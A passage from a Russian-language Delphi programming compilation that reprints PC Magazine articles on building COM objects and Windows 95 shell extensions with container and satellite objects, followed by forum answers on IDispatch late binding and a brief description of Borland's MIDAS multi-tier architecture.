  end
  else begin
      Pointer(ReturnedObject) := NIL;
      Result := E_NOINTERFACE;
  end
end;

function IMyClassFactory.AddRef: LongInt;
begin
  Inc(FRefCount);
  Result := FRefCount;
end;

function IMyClassFactory.Release: LongInt;
begin
  Dec(FRefCount);
  Result := FRefCount;
  if FRefCount = 0 then Free;
end;

function IMyClassFactory.LockServer(fLock: Bool):HResult;
begin Result := E_NOTIMPL; end;

(****** экспортируемая функция ******)
function DLLCanUnloadNow: hResult; StdCall; Export;
begin
  if DllRefCount = 0 then Result := S_OK
  else Result := S_FALSE;
end;

initialization
  DllRefCount := 0;
end.

Объекты-сателлиты
Объектный тип ISatelliteUnknown непосредственно наследуется от рабочего типа IUnknown, причем все его три абстрактных метода обязательно переопределяются. ISatelliteUnknown содержит единственное поле protected-переменной с именем FContainer и типом IContainerUnknown (его определение дается позже); начальное значение для данной переменной присваивается в его конструкторе Create. Назначение трех его IUnknown-функций состоит лишь в том, чтобы передать результат, полученный после вызова соответствующего метода объекта-контейнера. В зависимости от того, какой интерфейс запрашивает вызывающая программа, она получает доступ к методам QueryInterface, AddRef и Release либо непосредственно через объект-контейнер, либо через любой из его объектов-сателлитов

Если вам уже приходилось изучать литературу по технологии OLE, то вы наверняка обратили внимание, что в модуле DelphCOM, приведенном в листинге, используются нестандартные имена для параметров QueryInterface. Обычно для обозначения идентификатора ID нужного интерфейса используется имя riid, а передаваемому программе объекту назначается имя ppv. Поскольку имена параметров имеют смысл только в пределах данного объекта, я решил заменить зашифрованные стандартные имена на более понятные WantIID и ReturnedObject.

Объекты-контейнеры
Объектный тип IContainerUnknown также непосредственно наследуется от IUnknown. Он содержит собственный счетчик количества ссылок, записываемый в поле protected-переменной с именем FRefCount; его функция AddRef обеспечивает приращение счетчика FRefCount, а Release - его уменьшение. Обе функции - AddRef и Release - передают в программу новое значение счетчика. Если оно становится равным 0, функция Release дополнительно производит высвобождение объекта.

Кроме этого, в модуле DelphCOM дается определение глобальному счетчику ссылок для всей DLL, через который отслеживаются все объекты, производные от этих обобщенных COM-объектов. Его приращение и уменьшение производятся при работе соответственно конструктора и деструктора этого объекта-контейнера. Любая DLL, где содержатся COM-объекты, должна выполнять две специальные функции - DLLCanUnloadNow и DLLGetClassObject. В модуле DelphCOM присутствует функция DLLCanUnloadNow, которая будет принимать значение False до тех пор, пока значение упомянутого глобального счетчика DLL не станет равным 0. Что же касается функции DLLGetClassObject, то ее содержание специфично для каждой конкретной DLL, использующей DelphCOM. Поэтому ее нельзя будет записать до тех пор, пока не будут заданы сами COM-объекты (являющиеся производными от ISatelliteUnknown и IContainerUnknown).

Объект IContainerUnknown реагирует на запросы интерфейса IUnknown, поступающие через QueryInterface, и передает указатель на самого себя. При запросе иного интерфейса передается код ошибки E_NOINTERFACE. Когда же данная ситуация возникает в производном от IContainerUnknown объекте, то функция QueryInterface сначала обращается к этой, наследуемой от родительского объекта функции. Если в ответ передается значение E_NOINTERFACE, тогда проверяется совпадение идентификатора запрашиваемого интерфейса с идентификаторами его других интерфейсов. При совпадении в программу передается указатель этого объекта-сателлита.

Генератор класса
COM-объекты могут создаваться при выдаче соответствующей команды от системы или от некоторой программы. Этот процесс создания управляется особым типом COM-объекта, именуемым генератором класса (class factory); он также получается прямым наследованием от IUnknown. Имеющийся в модуле DelphCOM объект IMyClassFactory, как и объект IContainerUnknown, содержит методы AddRef и Release. Если через QueryInterface поступает запрос на IUnknown или IClassFactory, то он передает указатель на самого себя. Кроме названных трех функций в интерфейсе IClassFactory дополнительно появляются две новые - CreateInstance и LockServer. Обычно функция LockServer не требуется, и в этом случае она принимает особое значение E_NOTIMPL - признак того, что данная функция не задействована.

Наиболее важная функция генератора класса, ради которой он создается, - это CreateInstance. С ее помощью вызывающая программа создает экземпляр требуемого объекта. В модуле DelphCOM, правда, еще нет каких-либо "законченных" объектов; здесь содержатся лишь обобщенные объекты сателлита и контейнера. Когда мы даем определение COM-объекту как наследуемому от IContainerUnknown, нам также приходится давать определение объекту, производному от IMyClassFactory, функция которого - CreateInstance - будет передавать в программу новый экземпляр этого COM-объекта.

Теперь, введя IMyClassFactory, мы получили полный комплект обобщенного COM-объекта для работы в Delphi. Эта система из объектов сателлита и контейнера может использоваться в любом объектно-ориентированном языке программирования; ведь, действительно, COM-объекты, создаваемые средствами MFC, используют аналогичную систему. Во второй части этой статьи мы перейдем от теории к практике. Возможности рассмотренных здесь обобщенных объектов будут существенно расширены, что позволит в качестве примера создать пять различных типовых надстроек для оболочки Windows 95 - для обслуживания операций с контекстным меню, диалоговым окном Property, перетаскивания объектов с помощью правой клавиши мыши, манипуляций с пиктограммами и операций копирования.

Разобравшись с примерами, вы почувствуете полную готовность к созданию собственных, реально действующих надстроек для оболочки Windows 95.

Идентификаторы GUID, CLSID и IID
При создании и работе COM-объектов интенсивно используются идентификаторы, именуемые как Globally Unique Identifiers (глобально уникальные идентификаторы), или, коротко, GUIDs (произносится "GOO-ids"). Этот параметр представляет собой некоторое 128-разрядное число, генерируемое функцией CoCreateGUID, входящей в состав Windows API. Значения GUID должны быть уникальны в глобальных масштабах: передаваемое функцией CoCreateGUID значение никогда не должно повторяться. Крейг Брокшмидт (Kraig Brockschmidt), специалист по OLE (из группы разработчиков OLE в Microsoft), как-то заявил, что вероятность совпадения результатов двух различных обращений к CoCreateGUID равняется тому, что "два случайно блуждающих по вселенной атома вдруг внезапно столкнутся и образуют гибрид маленького калифорнийского авокадо с канализационной крысой из Нью-Йорка".

Дело в том, что у каждого интерфейса должен быть свой идентификатор IID (Interface ID), являющийся тем же самым GUID. В файле OLE2.PAS, входящем в комплект Delphi, дается определение десяткам таких параметров. Пример программы из данной статьи содержит ссылки на идентификаторы интерфейсов IUnknown и IClassFactory; а в файле OLE2.PAS содержится множество других подобных параметров. Кроме того, любой объектный класс, зарегистрированный в системе, должен иметь свой идентификатор класса Class ID (CLSID). Если вам когда-нибудь приходилось с помощью программы RegEdit просматривать ключ HKEY_CLASSES_ROOT\CLSID системного реестра Windows, вы наверняка обращали внимание на десятки, а иногда и сотни непонятных строк с записанными в них цифрами. Все это - идентификаторы классов для всех COM-объектов, зарегистрированных на вашем компьютере. Не будем вдаваться в подробности; скажем лишь, что при программировании COM-объектов следует использовать имеющиеся параметры GUID, а также создавать новые, специфичные для вашей конкретной программы.

Существует ряд бесплатных утилит, например UUIDGEN.EXE, позволяющих генерировать новые значения GUID. Однако после ее исполнения придется заниматься рутинной задачей - аккуратно переписывать полученные значения на место констант Delphi. Взамен UUIDGEN.EXE служба PC Magazine Online предлагает другую "консольную" программу с текстовым выводом. Ее можно либо загрузить в интегрированную среду Delphi и произвести компиляцию там, либо обработать компилятором Delphi, введя через командную строку DCC32 GUIDS.DPR. Теперь запустите полученную программу, и вы получите абсолютно новое, не встречавшееся ранее значение GUID - в виде строки и в виде типовой константы Delphi.

Отныне, начиная работу над новым проектом, внимательно подсчитайте необходимое количество отдельных параметров GUID. На всякий случай добавьте еще несколько. Теперь укажите это число как параметр для программы GUIDS.EXE и перенаправьте ее вывод в отдельный файл. Там будут записаны указанное количество идентификаторов GUID, причем, как правило, они будут представлять собой блок непрерывно возрастающих чисел. Дело в том, что когда используемые в вашем проекте параметры GUID отличаются между собой лишь цифрой в отдельной позиции, легче разбираться, какой идентификатор к чему относится. Теперь вы можете вырезать эти значения из текстового файла и вставить в нужные места своего проекта.

© Нил Дж. Рубенкинг
Материал взят с PC Magazine, January 7, 1997, p. 227

Часть 2
Примеры создания четырех COM объектов - расширений оболочки Windows 95.

В технологиях создания COM объектов в среде Delphi и в среде Си++ наблюдаются существенные различия, хотя, конечно, есть в них и некоторое сходство: у таких объектов обычно один или несколько интерфейсов, а у объекта в Delphi и у объекта в C++ может быть один и тот же COM-интерфейс. Однако в Си++ задача обеспечения COM объекта несколькими интерфейсами решается с помощью механизма множественного наследования, т. е. порождаемый объект наследует функции от всех требующихся интерфейсов. В Delphi подобной возможности нет, поэтому необходим другой подход.

В Delphi COM объект с несколькими интерфейсами приходится формировать из нескольких отдельных объектов. Каждый из требующихся COM-интерфейсов предоставляется объектом-сателлитом - потомком имеющегося в Delphi объекта типа IUnknown. Такой объект-саттелит реализует интерфейс IUnknown. Сам же COM объект представляет собой объект-контейнер, тоже производный от IUnknown. Объект-контейнер, содержащий экземпляры объектов-сателлитов в виде полей данных, в ответ на запрос к своему методу QueryInterface передает указатель на упомянутый в нем интерфейс. Эти приемы и их реализацию на примере объектов ISatelliteUnknown и IContainerUnknown мы рассмотрели в первой части данной статьи. А теперь с помощью этих объектов мы попробуем подготовить специальные COM объекты - расширения оболочки Windows 95.

Мы продемонстрируем процедуры создания средствами Delphi четырех расширений Windows95: обработчика контекстного меню, обработчика списка параметров, обработчика для механизма drag-and-drop и обработчика пиктограмм. Они выполняют операции с некоторым воображаемым типом файлов DelShellFile с расширением DEL. Строка текста такого файла представляет собой целое число; в настоящей программе его заменит какой-то более сложный атрибут файла. Названный "магический номер" используется всеми четырьмя расширениями.

Среди прилагаемых к статье исходных текстов вы обнаружите и еще одно расширение - для обслуживания операции копирования. Но, поскольку для его реализации не требовалась связка контейнер/сателлит, мы не уделили ему внимания в статье.

Все упомянутые в статье программы можно загрузить из службы PC Magazine Online.

Подготовка вспомогательных интерфейсов
На рис. 1 представлена иерархия создаваемых нами вспомогательных объектов. Сплошными линиями обозначены стандартные иерархические связи между объектами; на вершине этого дерева вы видите объект IUnknown, описанный на языке Delphi. Под именем каждого объекта перечисляются все его интерфейсы, за исключением обязательного для всех интерфейса IUnknown. Пунктирными линиями показаны связи контейнер/сателлит, которые служат основой всей системы.

Инициализаций расширений, предназначенных для обслуживания контекстного меню, списка параметров и работы механизма drag-and-drop, выполняется с помощью интерфейса IShellExtInit. Аналогичная операция для расширения - обработка пиктограмм осуществляется через интерфейс IPersistFile. На лист. 2 приведены описания объектов-сателлитов, реализующих два названных вспомогательных интерфейса, и объектов-контейнеров, заранее подготовленных для управления этими объектами-сателлитами.

Дополнительный метод Initialize объекта IMyShellExtInit служит функцией Initialize интерфейса IShellExtInit. Данный объект наследует функции объекта ISatelliteUnknown: его методы QueryInterface, AddRef и Release. В результате таблица виртуальных методов объекта IMyShellExtInit полность совпадает с набором функций интерфейса IShellExtInit. Метод Initialize извлекает из передаваемых вызывающей программой данных список файлов и сохраняет его в отдельном поле данных своего объекта-контейнера, тип которого обязательно должен быть ISEIContainer.

ISEIContainer наследует методы AddRef и Release контейнера IContainerUnknown. Имеющий собственную реализацию метода QueryInterface объект ISEIContainer сначала вызывает вариант QueryInterface, унаследованный от IContainerUnknown. Если полученное в ответ значение не равно S_OK, тогда с помощью его собственного метода QueryInterface проверяется, есть ли обращение к интерфейсу IShellExtInit. Если ответ положительный, этот метод передает указатель на свое поле типа protected FShellExtInit, являющееся объектом типа IMyShellExtInit. Кроме этого, в ISEIContainer описываются поля для хранения списка файлов, их числа и маршруты к ним. Имеющийся у него конструктор Create инициализирует список файлов и объекты FShellExtInit, а деструктор Destroy высвобождает память, отведенную для этих двух объектов.

Описание объекта IMyPersistFile кажется более сложным, чем у IMyShellExtInit. Однако в действительности пять из шести его методов, реализующих функции интерфейса IPersistFile, в качестве результата передают значение E_FAIL. Метод Load объекта IMyPersistFile получает имя файла в формате Unicode, преобразует его в строку ANSI и записывает в соответствующее поле своего объекта-контейнера, тип которого обязательно IPFContainer. Так же как у ISEIContainer, метод QueryInterface объекта IPFContainer имеет свои особенности. Сначала выполняется обращение к унаследованному варианту QueryInterface. Если в ответ получено значение ошибки, то с помощью собственного метода QueryInterface проверяется, есть ли обращения к интерфейсу IPersistFile. Если да, передается указатель на protected-поле FPersistFile - объект типа IMyPersistFile. За создание и удаление объекта FPersistFile отвечают специальные методы объекта-контейнера - конструктор и деструктор.

Теперь все готово и можно приступать к подготовке наших расширений оболочки Windows95.

Рис. 1. Иерархия объектов - расширений оболочки Windows

           <--------- IUnknown ----------->
          |           --------             |
          |                                |
   IContainerUnknown                  ISatelliteUnknown
   |                                                 |
   |-> IPFContainer  -----------> IMyPersistFile     |
   |   IPersistFile               IPersistFile   <---|
   |    |               -------->                    |
   |    |              |                             |
   |     ->IDSExtraction -------> IMyExtraction  <---|
   |       IPersistFile           IExtractIcon       |
   |       IExtractIcon                              |
   |                                                 |
   |                                                 |
    -->ISEIContainer -----------> IMyShellExtInit<---|
       IShellExtInit     -------> IShellExtInit      |
       |                |      ->                    |
       |                |     ||                     |
       |-> IDSContextMenu ----||> IMyContextMenu <---|
       |   IShellExtInit      ||  IContextMenu       |
       |   IContextMenu       ||                     |
       |              -------- |                     |
       |             |   ------                      |
       |-> IDSDragDrop -|-------> IMyDragDrop    <---|
       |   IShellExtInit|         IContextMenu       |
       |   IContextMenu |                            |
       |                |                            |
       |-> IDSPropSheet --------> IMyPropSheet   <---|
           IShellExtInit          IShellPropSheetExt
           IShellPropSheetExt

Лист. 1. Два объекта-сателлита реализуют вспомогательные интерфейсы, необходимые для работы таких расширений оболочки Windows 95, как обработчики контекстного меню, списка параметров, для механизма drag-and-drop и пиктограмм.

 type
   IMyShellExtInit = class(ISatelliteUnknown)
   public
     function Initialize(pidlFolder:PItemIDlist; lpdobj: IDataObject;
       hKeyProgID:HKEY) :HResult; virtual; stdcall;
   end;

   IMyPersistFile = class(ISatelliteUnknown)
   public
     function GetClassID(var classID: TCLSID): HResult; virtual;
      stdcall;
     function IsDirty: HResult; virtual; stdcall;
     function Load(pszFileName: POleStr; dwMode: Longint): HResult;
       virtual; stdcall;
     function Save(pszFileName: POleStr; fRemember: BOOL): HResult;
       virtual; stdcall;
     function SaveCompleted(pszFileName: POleStr): HResult;
       virtual; stdcall;
     function GetCurFile(var pszFileName: POleStr): HResult;
       virtual; stdcall;
   end;

   ISEIContainer = class(IContainerUnknown)
   protected
//Интерфейс объекта-сателлита
     FShellExtInit : IMyShellExtInit;
   public
     FNumFiles         : Integer;
     FInitFiles        : TStringList;
     FIDPath           : String;
     constructor Create;
     destructor Destroy; override;
     function QueryInterface(const WantIID: TIID);
       var ReturnedObject): HResult; override;
   end;

   IPFContainer = class(IContainerUnknown)
   protected
//Интерфейс объекта-сателлита
     FPersistFile : IMyPersistFile;
   public
     FPFFileName : String;
     constructor Create;
     destructor Destroy; override;
     function QueryInterface(const WantIID: TIID;
       var ReturnedObject): HResult; override;
   end;

Обработчик контекстного меню
Щелчок правой клавишей мыши на каком-то файле, в среде Windows 95 Explorer приводит к тому, что система предпринимает попытку выяснить, задан ли для такого типа файлов обработчик контекстного меню. Если таковой имеется, система создает экземпляр COM-объекта - обработчика контекстного меню и передает список выделенных файлов функции Initialize интерфейса IShellExtInit этого объекта. Затем обращается к методу QueryContextMenu интерфейса IContextMenu. В работе этой функции используются стандартные функции Windows API; например, для вставки дополнительных элементов меню или разделителей вызывается функция InsertMenu, которая передает в качестве return-значения число добавленных элементов, не считая разделителей. Если же пользователь выбрал один из этих внесенных элементов меню, то происходит вызов функции InvokeCommand интерфейса IContextMenu. Чтобы предоставить комментарий к данному элементу меню в строке состояний программы Explorer, вызывается функция GetCommandString.

Для определения и инициализации обработчика контекстного меню используются следующие Delphi-объекты: IMyContextMenu, IDSContextMenu и ICMClassFactory. Объект IMyContextMenu является потомком ISatelliteUnknown; его интерфейс IContextMenu реализует три функции. Объект IDSContextMenu - потомок ISEIContainer, поэтому снабжен интерфейсом IShellExtInit. В IDSContextMenu имеется дополнительное protected-поле FContextMenu с типом IMyContextMenu. И в этом случае конструктор и деструктор объекта IDSContextMenu ответственны за создание и удаление объекта-сателлита; при обращении к интерфейсу IContextMenu метод QueryInterface данного объекта передает в вызывающую программу указатель на объект FContextMenu.

Эта программа содержит также описание объекта ICMClassFactory - потомка IMyClassFactory, специально предназначенного для получения экземпляра IDSContextMenu. Метод CreateInstance создает запрашиваемый экземпляр и обеспечивает к нему доступ, но только если среди интерфейсов объекта IDSContextMenu имеется запрашиваемый. Для каждого из наших расширений оболочки потребуется почти такой же вариант потомка IMyClassFactory.

Метод QueryContextMenu предназначен для проверки того, сколько файлов выбирается: один или несколько. Если только один, в меню добавляется элемент под именем Magic Number (магический номер); если же их несколько - элемент Average Magic Number (усредненный магический номер). Метод InvokeCommand проверяет правильность переданных ему аргументов и выводит в окне сообщений запрошенный номер. Метод GetCommandString в соответствии с тем, что было запрошено, передает либо отдельное слово - наименование элемента меню, либо пояснительную строку.

Обработчик для механизма drag-and-drop
Обработчик для механизма drag-and-drop практически не отличается от обработчика контекстного меню - в них используется даже один и тот же интерфейс IContextMenu. Однако имеются некоторые отличия: во-первых, активизация расширения, предназначенного для обслуживания механизма drag-and-drop происходит при переносе файла в какую-то папку правой клавишей мыши; во-вторых, это расширение вносится в список файлов того типа, которые помещены в данную папку, а не к тому типу файлов, к которому относится перемещенный файл. Объект-сателлит IMyDragDrop содержит следующие методы: QueryContextMenu, InvokeCommand и GetCommandString.

Сначала метод QueryContextMenu выполняет просмотр переданного ему системой списка файлов с целью проверки, все ли относятся к типу DelShellFile. Если это так, данный метод добавляет в меню новый элемент Count Files (Подсчет файлов), разделитель и передает в качестве return-значение 1. Если же результат отрицательный, никаких действий не производится и передается значение 0. При выборе добавленного элемента меню метод InvokeCommand подсчитывает количество файлов в папке-получателе и добавляет это число к "магическому номеру" каждого из выделенных DelShellFile-файлов. Поскольку этот номер и пиктограмма такого файла взаимосвязаны, обращение к функции API, SHChangeNotify осведомит систему о необходимости обновить пиктограммы каждого из этих файлов.

В функциональном отношении объект-контейнер IDSDragDrop идентичен объекту IDSContextMenu. Разница лишь в том, что тип его объекта-сателлита - IMyDragDrop, а не IMyContextMenu.

Обработчик списка параметров
Когда пользователь, выделив один или несколько файлов, выбирает в контекстном меню команду Properties (Параметры), система сначала пытается определить, предусмотрен ли специальный обработчик списка параметров для данного типа файлов. Если да, система создает экземпляр соответствующего расширения оболочки и инициализирует, передав функции Initialize его интерфейса IShellExtInit список выделенных файлов. Система также обращается к функции AddPages интерфейса IShellPropSheetExt, с тем чтобы дать возможность обработчику списка параметров добавить к нему одну или несколько страниц. Другая функция интерфейса IShellPropSheetExt - ReplacePages - обычно не используется.

Однако, когда дело доходит до реализации метода AddPages, программисты, работающие с Delphi, внезапно оказываются в полной растерянности. Для создания страницы списка параметров необходим такой ресурс, как шаблон диалогового окна, и функция для его обработки. Лишь бывалые Windows-программисты, возможно, еще помнят о старинных предшественниках нынешних средств визуального программирования. Для подготовки шаблона диалогового окна можно воспользоваться инструментом для генерации ресурсов, таким, как Resource Workshop фирмы Borland или составить сценарий ресурса и откомпилировать его с помощью компилятора ресурсов BRCC.EXE, входящего в комплект Delphi. Вместе с исходными текстами для этой статьи можно загрузить и сценарий ресурса, описывающий список параметров для файлов типа DelShellFile.

Этот сценарий дает определения двух статических полей с текстом, окна списка и кнопки. В общем подключаемом файле SHEET.INC объявлены константы IDC_Static, IDC_ListBox и IDC_Button, используемые в качестве идентификаторов для управления диалоговым окном.

При исполнении метода AddPages происходит инициализация различных полей структуры TPropSheetPage, в том числе шаблона диалогового окна, процедуры управления им и параметра lParam, описанного в программе. Здесь lParam содержит список файлов, переданных из оболочки Windows. Использование функции обратного вызова гарантирует освобождение памяти, выделенной под этот список. При обращении к функции CreatePropertySheetPage она создает страницу на основании данных структуры TPropSheetPage, а при вызове предусмотренной в оболочке функции lpfnAddPage к диалоговому окну Properties будет добавлена эта страница.

Процедура управления диалоговым окном обрабатывает два конкретных сообщения. Если поступает сообщение WM_INITDIALOG, окно списка дополняется перечнем файлов, указанным в поле параметра lParam данной страницы списка параметров. Перед каждым именем проставляется соответствующий "магический номер". Затем процедура формирует статический элемент управления, отображающий количество выбранных в данный момент файлов. Список файлов удаляется, а поле, где прежде находился данный список файлов, обнуляется.

Если же пользователь щелкнет на кнопке Zero Out (Очистить), процедура управления диалоговым окном получает сообщение WM_COMMAND, где в младшем слове wParam указывается идентификатор данной кнопки. Процедура просматривает весь список файлов и делает нулевым "магический номер" каждого из них, затем обращается к функции API - SHChangeNotify, чтобы сообщить системе о необходимости перерисовать пиктограммы файлов. Фактически любая процедура управления диалоговым окном списка параметров должна иметь средства для реакции на сообщение WM_INITDIALOG, чтобы выполнить инициализацию своих управляющих элементов. Если же она предназначена не только для отображения информации, тогда в ней должны быть средства, обеспечивающие реакцию на сообщения WM_COMMAND, поступающие от конкретных управляющих элементов.

Обработчик пиктограмм
В большинстве случаев средства оболочки Windows 95 просто выбирают для файла ту пиктограмму, которая указана для такого типа файлов в разделе DefaultIcon системного реестра. Однако, если в разделе DefaultIcon задано значение %1, тогда происходит обращение к некоторому расширению оболочки, которое выполняет роль обработчика пиктограмм для данного файла. Система обращается к функции Load интерфейса IPersistFile этого расширения, передавая ей в качестве параметра имя файла. Обработчик пиктограмм обеспечивает соответствующую пиктограмму через функции GetIconLocation и Extract своего интерфейса IExtractIcon. Эта информация представляет собой либо имя файла и порядковый номер конкретной пиктограммы, либо созданную при поступлении запроса пиктограмму.

Наш пример объекта-сателлита IMyExtractIcon реализует оба варианта. Если задана директива условной компиляции UseResource, метод GetIconLocation присваивает аргументу szIconFile в качестве значения имя DLL-модуля, содержащего объект IMyExtractIcon, затем на основании "магического номера" файла вычисляет значение аргумента piIndex. Данный метод включает в значение аргумента pwFlags флажок GIL_PERINSTANCE, наличие которого означает, что каждый файл может иметь свою отдельную пиктограмму и флажок GIL_DONTCACHE - знак того, что система не должна сохранять эту пиктограмму в памяти для последующих применений. Метод Extract в этом случае не используется; его return-значение будет S_FALSE.

Если же директива условной компиляции UseResource не задана, тогда объект-сателлит IMyExtractIcon формирует пиктограмму для каждого файла. Метод GetIconLocation заносит "магический номер" данного файла в аргумент piIndex и помимо упомянутых выше флажков использует флажок GIL_NOTFILENAME. Из оболочки вызывается метод Extract, который создает для данного файла пиктограммы двух размеров - крупную и маленькую. Высота красной полоски в прямоугольнике пиктограммы определяется "магическим номером" файла. В исходных текстах, прилагаемых к этой статье, представлена процедура создания пиктограммы на ходу. Однако, поскольку она имеет лишь косвенное отношение к тематике этой статьи, ее подробности здесь не обсуждаются.

Компоновка программы
Для того чтобы все перечисленные расширения оболочки работали, нужно скомпилировать их в DLL-модуль, содержащий стандартные функции DllGetClassObject и DllCanUnloadNow. В числе исходных текстов, прилагающихся к этой статье, имеется и программа, описывающая такой DLL-модуль. Функция DllGetClassObject выполняет следующие операции: выясняет, к какому объекту поступил запрос, формирует соответствующую фабрику классов (class factory) и передает в качестве результата объект, созданный этой фабрикой. Среди упомянутых исходных текстов вы найдете также программу, описывающую DLL-модуль несложной консольной процедуры, управляющей операциями внесения и удаления из системного реестра информации обо всех перечисленных здесь образцах расширений оболочки.

Теперь, изучив приведенные примеры, можно приступать к созданию собственных расширений оболочки. Только не забудьте заменить имеющиеся в текстах программ значения глобально уникальных идентификаторов GUID (Globally Unique Identifiers) новыми. В этом вам поможет программа генерации, GUIDS, представленная в первой части этой статьи.

Средства для отладки COM объектов
Большинство современных пакетов для разработки программ содержат встроенные средства отладки, обеспечивающие возможность выполнения в пошаговом режиме, трассировки кода, установки точек прерывания и просмотра значений переменных. Все они пригодны для отладки исполнимых EXE-модулей. Однако если программа оформлена в виде DLL-модуля, то интегрированные средства отладки оказываются бесполезными. Даже при использовании 32-разрядного автономного отладчика не так-то просто добраться до COM объектов, поскольку они выполняются в адресном пространстве обратившегося к ним объекта или программы. Например, COM объекты, являющиеся расширениями оболочки Windows 95, исполняются в адресном пространстве программы Windows Explorer.

Однако чаще всего разработчика интересуют достаточно простые вопросы о работе COM объектов: Был ли загружен DLL-модуль вообще? Производилась ли попытка создать экземпляр конкретного COM объекта? Какой интерфейс запрашивался? Выяснить все это можно с помощью простого механизма регистрации сообщений: COM объект отправляет сообщения о своем состоянии, которые принимает и регистрирует предназначенная для этого самостоятельная программа. Из службы PC Magazine Online вы можете загрузить специальный модуль DllDebug, который обеспечивает механизм передачи таких сообщений.

Раздел этого модуля, который выполняет инициализацию, присваивает переменной WM_LOGGIT уникальное значение идентификатора сообщений, полученное от функции RegisterWindowMessage в результате передачи ей строковой переменной Debugging Status Message. При первом обращении к функции RegisterWindowMessage с использованием этой строки она передает уникальный номер сообщения, а при последующих вызовах с ней в качестве результата будет получен тот же номер.

Поскольку 32-разрядные программы выполняются в отдельном адресном пространстве, функция Loggit не может так просто передать указатель на свою строку с сообщением о состоянии. В адресном пространстве принимающей программы этот указатель будет недействителен. Поэтому функция Loggit вносит это сообщение в таблицу глобальных элементов системы Windows (global atom table). После этого она обращается к функции SendMessage, передавая ей следующие параметры: значение -1 для дескриптора окна, WM_LOGGIT в качестве номера сообщения и элемент для wParam. Функция SendMessage сохраняет за собой управление до тех пор, пока действующие в системе окна верхнего уровня не обработают это сообщение. Теперь этот элемент можно безболезненно удалить.

При подготовке сообщений о состоянии очень кстати придется функция NameOfIID, предусмотренная в модуле DllDebug. Согласно документации, она передает идентификаторы интерфейсов IIDs, реализуемых расширениями оболочки. Однако к ним можно добавить любые значения системных IID, необходимых для вашего проекта. Например, в тело метода QueryInterface можно было бы вставить следующую строку:

   Loggit(Format('QueryInterface: %s requested', [NameOfIID(WantIID)]));

Организовать передачу сообщения WM_LOGGIT - это еще полдела. Нужна программа, которая будет принимать и регистрировать сообщения о производимых операциях. Утилита Logger, предлагаемая службой PC Magazine Online, - один из возможных вариантов решения этой задачи.

Поскольку значение, имеющееся в сообщении WM_LOGGIT, становится известным только в процессе исполнения, нет возможности задать стандартный метод обработки сообщения. Поэтому в программе Logger переопределяется интерфейсный метод DefaultHandler. При прохождении сообщения WM_LOGGIT этот метод извлекает сообщение о состоянии из передаваемого элемента и добавляет его в имеющийся список окна просмотра. Помимо этой основной функции она обслуживает три рабочие кнопки - для вставки комментария пользователя, для очистки окна списка и для сохранения зарегистрированных сообщений в файле. На рис. А вы видите момент выполнения программы Logger.

В приведенном диалоговом окне представлены методы QueryInterface нескольких COM объектов, подготовленных в среде Delphi, инструментированные строкой, в которой регистрируется имя запрашиваемого интерфейса. Перед вами список запросов, отправленных, когда Explorer извлек пиктограмму для некоторого файла, затем пользователь щелкнул на ней правой клавишей мыши и просмотрел его параметры. Все работает правильно. Если же наша утилита вдруг выводит на экран неожиданные результаты, тогда в сомнительный фрагмент своей программы можно добавить новые обращения к функции Loggit и повторять эксперимент до тех пор, пока не удастся найти ошибку.

© Нил Дж. Рубенкинг
Материал взят с PC Magazine, January 21, 1997

Взято с сайта www.emanual.ru


Дайте теоретическое объяснение типу IDispatch

Идентификатор интерфейса тип IDispatch, используемый для связи с объектом. Для создания объектов COM, не использующих интерфейс IDispatch, надо использовать функцию CreateComObject.
Руксскими словами: varDispatch $0009 ссылка на автоматический объект (указатель на интерфейс IDispatch)

Автор ответа: Snick_Y2K
Взято с Vingrad.ru http://forum.vingrad.ru

"Тип IDispatch" - не звучит. Ты бы сказал, в каком контексте.

Вообще, IDispatch - это интерфейс. Если ты заглянешь в System.pas, ты найдешь его делфийское описание:

 IDispatch=interface
  .....
 end;

Это интерфейс используется для обеспечения "позднего связывания" в COM, то есть вызовов методов(и использования property) когда на момент компиляции их имена не известны. Например:

var
  v:variant;
begin
  v:=CreateOleObject("Excel.Appication");
  v.Quit;
end;

Как тут вызывается метод Quit? Ведь компилятор совершенно ничего не знает об этом методе, ровно как и о том, что содержится в переменно v. На самом деле, одна эта строчка транслируется компилятором в набор примерно таких вызовов:

var
  v:variant;
begin
  v:=CreateOleObject("Excel.Appication");
  if TVarData(v).vtType=vtIDispatch then
  begin
     pseudo_compiler_generated_IDispatch:IDispatch=TVarData(v).varIDispatch //указатель на интерфейс IDispatch
     cpl_gen_DispID:integer;
     pseudo_compiler_generated_IDispatch.GetIDsOfNames('Quit',1,cpl_gen_DispID);  //получаем числовой индефикатор имени "Quit"
     pseudo_compiler_generated_IDispatch.Invoke(cpl_gen_DispID,....); //вызывает метод по индификатору.
  end;
end;

Если использоват IDispatch вместо variant, то все это можно написать самому:
var
  Disp:IDispatch;
  DispID:integer;
begin
  Disp:=CreateOleObject("Excel.Appication");
  Disp.GetIDsOfNames('Quit',1,DispID);  //получаем числовой индефикатор имени "Quit"
  Disp.Invoke(DispID,....); //вызывает метод по индификатору.
end;

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru


Что такое MIDAS (multi-tired distributed application service)?

MIDAS - multi-tired distributed application service suite- это технология Borland для создания многоуровневых приложений баз данных. Применение данной архитектуры позволяет быстро разрабатывать простые в сопровождении и установке, надежные, распределенные БД. Трехуровневое приложение баз данных содержит несколько компонентов (слоев):

а) Слой БД. Хранит данные. Выполняет функции хранения информации, обеспечения целостности и непротиворечивости данных. Пример -локальные (dBase, Paradox) и серверные БД (Oracle, Sybase, MS SQL), текстовые файлы и т.д.

б) Слой бизнес логики (сервер приложений) - это программа, обеспечивающая доступ клиентов к информации. На этом слое вводится понятие сервиса, как некоей услуги, поставляемой клиенту (например, получение данных об остатке денег на счете, как частный случай из реляционной БД). В этом слое реализуются правила и алгоритмы обработки информации, отражающие поведение реального моделируемого объекта (бизнес правила). Например, проверка остатка денег на не отрицательность, перевод денег со счета на счет.

в) Презентационный слой (тонкий клиент). Задача этого слоя, используя сервисы слоя бизнес логики, предоставлять пользователям запрошенную информацию в форме удобной и приятной во всех отношениях. Может быть выполнен в виде традиционного exe файла или в качестве тонкого клиента можно использовать Web броузер.

